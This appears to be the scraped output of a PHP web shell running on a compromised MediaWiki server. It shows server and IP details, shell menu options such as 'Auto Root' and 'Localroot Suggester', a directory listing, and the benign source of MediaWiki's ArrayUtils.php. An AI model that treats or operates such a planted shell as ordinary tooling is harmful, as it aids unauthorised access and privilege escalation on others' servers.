Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
includes /
libs /
Delete
Unzip
Name
Size
Permission
Date
Action
composer
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
eventrelayer
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
filebackend
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
iterators
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
lockmanager
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
mime
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
objectcache
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
rdbms
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
redis
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
replacers
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
stats
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
time
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
virtualrest
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
xmp
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
APACHE-LICENSE-2.0.txt
11.09
KB
-rw-r--r--
2016-11-28 20:20
ArrayUtils.php
5.44
KB
-rw-r--r--
2016-11-28 20:20
CSSJanus.php
12.62
KB
-rw-r--r--
2010-09-21 22:11
CSSMin.php
15.02
KB
-rw-r--r--
2016-11-28 20:20
Cookie.php
5.41
KB
-rw-r--r--
2016-11-28 20:20
CookieJar.php
2.74
KB
-rw-r--r--
2016-11-28 20:20
CryptHKDF.php
8.78
KB
-rw-r--r--
2016-11-28 20:20
CryptRand.php
14.37
KB
-rw-r--r--
2016-11-28 20:20
DeferredStringifier.php
1.59
KB
-rw-r--r--
2016-11-28 20:20
ExplodeIterator.php
2.78
KB
-rw-r--r--
2016-11-28 20:20
GenericArrayObject.php
5.57
KB
-rw-r--r--
2016-11-28 20:20
HashRing.php
6.94
KB
-rw-r--r--
2016-11-28 20:20
HtmlArmor.php
1.39
KB
-rw-r--r--
2016-11-28 20:20
HttpStatus.php
3.14
KB
-rw-r--r--
2016-11-28 20:20
IEContentAnalyzer.php
25.06
KB
-rw-r--r--
2010-08-27 01:22
IEUrlExtension.php
9.02
KB
-rw-r--r--
2016-11-28 20:20
IP.php
22.32
KB
-rw-r--r--
2016-11-28 20:20
JavaScriptMinifier.php
22.24
KB
-rw-r--r--
2016-11-28 20:20
MWCryptHash.php
3.58
KB
-rw-r--r--
2016-11-28 20:20
MWMessagePack.php
5.63
KB
-rw-r--r--
2016-11-28 20:20
MapCacheLRU.php
3.88
KB
-rw-r--r--
2016-11-28 20:20
MappedIterator.php
3.3
KB
-rw-r--r--
2016-11-28 20:20
MemoizedCallable.php
4.68
KB
-rw-r--r--
2016-11-28 20:20
MessageSpecifier.php
1.21
KB
-rw-r--r--
2016-11-28 20:20
MultiHttpClient.php
15.25
KB
-rw-r--r--
2016-11-28 20:20
ObjectFactory.php
6.52
KB
-rw-r--r--
2016-11-28 20:20
ProcessCacheLRU.php
4.14
KB
-rw-r--r--
2016-11-28 20:20
README
237
B
-rw-r--r--
2016-11-28 20:20
ReplacementArray.php
2.22
KB
-rw-r--r--
2016-11-28 20:20
ReverseArrayIterator.php
2.01
KB
-rw-r--r--
2016-11-28 20:20
RiffExtractor.php
2.62
KB
-rw-r--r--
2016-11-28 20:20
StatusValue.php
8.84
KB
-rw-r--r--
2016-11-28 20:20
StringUtils.php
9.55
KB
-rw-r--r--
2016-11-28 20:20
Timing.php
5.91
KB
-rw-r--r--
2016-11-28 20:20
UDPTransport.php
3.07
KB
-rw-r--r--
2016-11-28 20:20
Xhprof.php
1.69
KB
-rw-r--r--
2016-11-28 20:20
XhprofData.php
10.68
KB
-rw-r--r--
2016-11-28 20:20
jsminplus.php
53.57
KB
-rw-r--r--
2016-11-28 20:20
Save
Rename
<?php /** * Methods to play with arrays. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @file */ /** * A collection of static methods to play with arrays. * * @since 1.21 */ class ArrayUtils { /** * Sort the given array in a pseudo-random order which depends only on the * given key and each element value in $array. This is typically used for load * balancing between servers each with a local cache. * * Keys are preserved. The input array is modified in place. * * Note: Benchmarking on PHP 5.3 and 5.4 indicates that for small * strings, md5() is only 10% slower than hash('joaat',...) etc., * since the function call overhead dominates. So there's not much * justification for breaking compatibility with installations * compiled with ./configure --disable-hash. * * @param array $array Array to sort * @param string $key * @param string $separator A separator used to delimit the array elements and the * key. This can be chosen to provide backwards compatibility with * various consistent hash implementations that existed before this * function was introduced. */ public static function consistentHashSort( &$array, $key, $separator = "\000" ) { $hashes = []; foreach ( $array as $elt ) { $hashes[$elt] = md5( $elt . $separator . $key ); } uasort( $array, function ( $a, $b ) use ( $hashes ) { return strcmp( $hashes[$a], $hashes[$b] ); } ); } /** * Given an array of non-normalised probabilities, this function will select * an element and return the appropriate key * * @param array $weights * @return bool|int|string */ public static function pickRandom( $weights ) { if ( !is_array( $weights ) || count( $weights ) == 0 ) { return false; } $sum = array_sum( $weights ); if ( $sum == 0 ) { # No loads on any of them # In previous versions, this triggered an unweighted random selection, # but this feature has been removed as of April 2006 to allow for strict # separation of query groups. return false; } $max = mt_getrandmax(); $rand = mt_rand( 0, $max ) / $max * $sum; $sum = 0; foreach ( $weights as $i => $w ) { $sum += $w; # Do not return keys if they have 0 weight. # Note that the "all 0 weight" case is handed above if ( $w > 0 && $sum >= $rand ) { break; } } return $i; } /** * Do a binary search, and return the index of the largest item that sorts * less than or equal to the target value. * * @since 1.23 * * @param callable $valueCallback A function to call to get the value with * a given array index. * @param int $valueCount The number of items accessible via $valueCallback, * indexed from 0 to $valueCount - 1 * @param callable $comparisonCallback A callback to compare two values, returning * -1, 0 or 1 in the style of strcmp(). * @param string $target The target value to find. * * @return int|bool The item index of the lower bound, or false if the target value * sorts before all items. */ public static function findLowerBound( $valueCallback, $valueCount, $comparisonCallback, $target ) { if ( $valueCount === 0 ) { return false; } $min = 0; $max = $valueCount; do { $mid = $min + ( ( $max - $min ) >> 1 ); $item = call_user_func( $valueCallback, $mid ); $comparison = call_user_func( $comparisonCallback, $target, $item ); if ( $comparison > 0 ) { $min = $mid; } elseif ( $comparison == 0 ) { $min = $mid; break; } else { $max = $mid; } } while ( $min < $max - 1 ); if ( $min == 0 ) { $item = call_user_func( $valueCallback, $min ); $comparison = call_user_func( $comparisonCallback, $target, $item ); if ( $comparison < 0 ) { // Before the first item return false; } } return $min; } /** * Do array_diff_assoc() on multi-dimensional arrays. * * Note: empty arrays are removed. * * @since 1.23 * * @param array $array1 The array to compare from * @param array $array2,... More arrays to compare against * @return array An array containing all the values from array1 * that are not present in any of the other arrays. */ public static function arrayDiffAssocRecursive( $array1 ) { $arrays = func_get_args(); array_shift( $arrays ); $ret = []; foreach ( $array1 as $key => $value ) { if ( is_array( $value ) ) { $args = [ $value ]; foreach ( $arrays as $array ) { if ( isset( $array[$key] ) ) { $args[] = $array[$key]; } } $valueret = call_user_func_array( __METHOD__, $args ); if ( count( $valueret ) ) { $ret[$key] = $valueret; } } else { foreach ( $arrays as $array ) { if ( isset( $array[$key] ) && $array[$key] === $value ) { continue 2; } } $ret[$key] = $value; } } return $ret; } }